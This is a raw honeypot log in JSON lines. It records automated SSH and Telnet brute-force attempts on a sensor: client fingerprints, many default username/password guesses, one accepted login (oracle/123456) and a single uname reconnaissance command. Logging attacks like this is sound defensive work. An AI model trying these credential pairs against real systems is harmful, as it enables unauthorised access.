{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:33.585022Z","src_ip":"192.109.200.237","session":"c26bf6c69423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.42197895050049,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:34.021413Z","src_ip":"152.42.224.71","session":"d47218bd01af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37654,"dst_ip":"10.17.0.5","dst_port":22,"session":"dda5be22b749","protocol":"ssh","message":"New connection: 103.122.221.179:37654 (10.17.0.5:22) [session: dda5be22b749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:34.202966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:34.207934Z","src_ip":"103.122.221.179","session":"dda5be22b749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:34.475667Z","src_ip":"103.122.221.179","session":"dda5be22b749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":48252,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a591ab295c1","protocol":"telnet","message":"New connection: 209.127.178.212:48252 (159.203.135.109:23) [session: 0a591ab295c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:34.668760Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:34.675336Z","src_ip":"192.109.200.237","session":"c26bf6c69423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololoshka","message":"login attempt [root/lololoshka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:35.280014Z","src_ip":"103.122.221.179","session":"dda5be22b749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:36.549498Z","src_ip":"103.122.221.179","session":"dda5be22b749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38470,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f0b4d7427e1","protocol":"ssh","message":"New connection: 192.109.200.237:38470 (159.203.135.109:22) [session: 6f0b4d7427e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:36.681172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:36.686151Z","src_ip":"192.109.200.237","session":"6f0b4d7427e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:36.772696Z","src_ip":"192.109.200.237","session":"6f0b4d7427e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:37.020906Z","src_ip":"192.109.200.237","session":"6f0b4d7427e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:38.105650Z","src_ip":"192.109.200.237","session":"6f0b4d7427e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":48348,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3e42967cc71","protocol":"telnet","message":"New connection: 209.127.178.212:48348 (159.203.135.109:23) [session: f3e42967cc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:39.428625Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38480,"dst_ip":"159.203.135.109","dst_port":22,"session":"671f91528726","protocol":"ssh","message":"New connection: 192.109.200.237:38480 (159.203.135.109:22) [session: 671f91528726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:39.984806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:39.988966Z","src_ip":"192.109.200.237","session":"671f91528726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:40.070546Z","src_ip":"192.109.200.237","session":"671f91528726","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:40.318649Z","src_ip":"192.109.200.237","session":"671f91528726","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:40.534715Z","src_ip":"192.109.200.237","session":"671f91528726","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:40.538694Z","src_ip":"192.109.200.237","session":"671f91528726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.419035911560059,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:40.546430Z","src_ip":"152.42.224.71","session":"6e4b7c1c22b6","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:40.625349Z","src_ip":"192.109.200.237","session":"671f91528726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:40.630868Z","src_ip":"192.109.200.237","session":"671f91528726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.57609724998474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:40.699787Z","src_ip":"209.127.178.212","session":"fd9ec3391aba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.062172651290894,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:41.035576Z","src_ip":"152.42.224.71","session":"ed7b6c085bc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":35388,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ce2e836dd50","protocol":"ssh","message":"New connection: 102.210.148.92:35388 (159.203.135.109:22) [session: 3ce2e836dd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:42.107297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:42.112523Z","src_ip":"102.210.148.92","session":"3ce2e836dd50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:42.361583Z","src_ip":"102.210.148.92","session":"3ce2e836dd50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33736,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b73d8ed61b1","protocol":"telnet","message":"New connection: 152.42.224.71:33736 (10.17.0.5:23) [session: 2b73d8ed61b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:42.865020Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd!","message":"login attempt [root/passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:43.389365Z","src_ip":"102.210.148.92","session":"3ce2e836dd50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39992,"dst_ip":"159.203.135.109","dst_port":22,"session":"417948597934","protocol":"ssh","message":"New connection: 192.109.200.237:39992 (159.203.135.109:22) [session: 417948597934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:43.446486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:43.452321Z","src_ip":"192.109.200.237","session":"417948597934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:43.535526Z","src_ip":"192.109.200.237","session":"417948597934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:43.783833Z","src_ip":"192.109.200.237","session":"417948597934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33738,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e0218e6ac3a","protocol":"telnet","message":"New connection: 152.42.224.71:33738 (10.17.0.5:23) [session: 3e0218e6ac3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:44.235680Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:44.641677Z","src_ip":"102.210.148.92","session":"3ce2e836dd50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:44.868463Z","src_ip":"192.109.200.237","session":"417948597934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":54450,"dst_ip":"159.203.135.109","dst_port":22,"session":"e11536a1d597","protocol":"ssh","message":"New connection: 193.228.128.84:54450 (159.203.135.109:22) [session: e11536a1d597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:45.598508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:45.603701Z","src_ip":"193.228.128.84","session":"e11536a1d597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:45.705684Z","src_ip":"193.228.128.84","session":"e11536a1d597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artemka","message":"login attempt [root/artemka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:46.018026Z","src_ip":"193.228.128.84","session":"e11536a1d597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":48754,"dst_ip":"159.203.135.109","dst_port":23,"session":"18da83c34ab0","protocol":"telnet","message":"New connection: 209.127.178.212:48754 (159.203.135.109:23) [session: 18da83c34ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:46.094501Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40006,"dst_ip":"159.203.135.109","dst_port":22,"session":"f79ba36a3156","protocol":"ssh","message":"New connection: 192.109.200.237:40006 (159.203.135.109:22) [session: f79ba36a3156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:46.975445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:46.980624Z","src_ip":"192.109.200.237","session":"f79ba36a3156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:47.062659Z","src_ip":"192.109.200.237","session":"f79ba36a3156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:47.122337Z","src_ip":"193.228.128.84","session":"e11536a1d597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:47.308948Z","src_ip":"192.109.200.237","session":"f79ba36a3156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:48.393132Z","src_ip":"192.109.200.237","session":"f79ba36a3156","protocol":"ssh"}
